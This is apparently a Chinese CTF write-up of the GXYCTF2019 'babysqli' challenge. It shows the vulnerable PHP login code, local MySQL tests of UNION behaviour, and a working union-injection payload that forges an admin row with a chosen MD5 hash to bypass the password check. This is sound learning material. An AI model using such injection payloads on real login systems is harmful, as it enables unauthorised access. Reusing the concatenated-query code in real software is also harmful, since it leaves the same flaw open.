GXYCTF2019 babysqli

0x00 初试

一开始以为普通sql注入题
在这里插入图片描述
fuzz一下没过滤什么东西
or大小写直接绕过就行,但两个括号绕过之前倒没遇上过,尝试了各种编码好像也没用…
联合查询出有三列

在这里插入图片描述
那串注释是base32 ->base64 decode之后是
select * from user where username = ‘$name’

其实通过这个hint就应该意识到了,查询时只用到了username
password的校验显然不再同一处

显然直接通过注入查询不太可能了,是新东西,看个wp学习一下
该题考查绕过密码的MD5验证,不看源码 or wp我是真不会想到的…

0x01 复现

方便理解贴一下源码

$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

Tip
联合查询不存在数据时,会自动构建一个虚拟数据
&&这个虚拟数据是包含在结果集里面的

Local test一下

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.01 sec)

mysql> select * from users where username='2' union select 1,'admin',5 ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 5        |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where username='admin' union select 1,'admin',5 ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  8 | admin    | admin    |
|  1 | admin    | 5        |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql>

当我第一段查询不存在时,直接显示联合查询中的虚拟数据
第一段查询数据存在时,结果集先返回存在的数据
再返回一行虚拟数据

order by 4 报错–>只有三列

判断username在哪一列的方法

进行用联合注入,回显wrong user!,说明用户不在第一列

1' union select 1,2,3#

尝试将用户名放在第二列,回显wrong pass!,找到用户名在第二列

1' union select 1,'admin',3#

brain.md

首先查询一个不存在的username再联合查询我们自己构建的虚拟数据
那么结果集中仅存在我们的虚拟数据
(一个小坑 password是md5加密的,当然这算一般经验了)
这样在不知道admin原密码的情况下绕过了验证
payload:
name=1’union select 1,‘admin’,‘202cb962ac59075b964b07152d234b70’#&pw=123

md5(123)=202cb962ac59075b964b07152d234b70
此处可自己组合
在这里插入图片描述
done!

参考

https://www.cnblogs.com/gaonuoqi/p/12355035.html
https://blog.csdn.net/RABCDXB/article/details/113812068

0x02 rethink

常规思路走不通时,要学会变化。
还是碰的太少,见得太少,经验不足。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值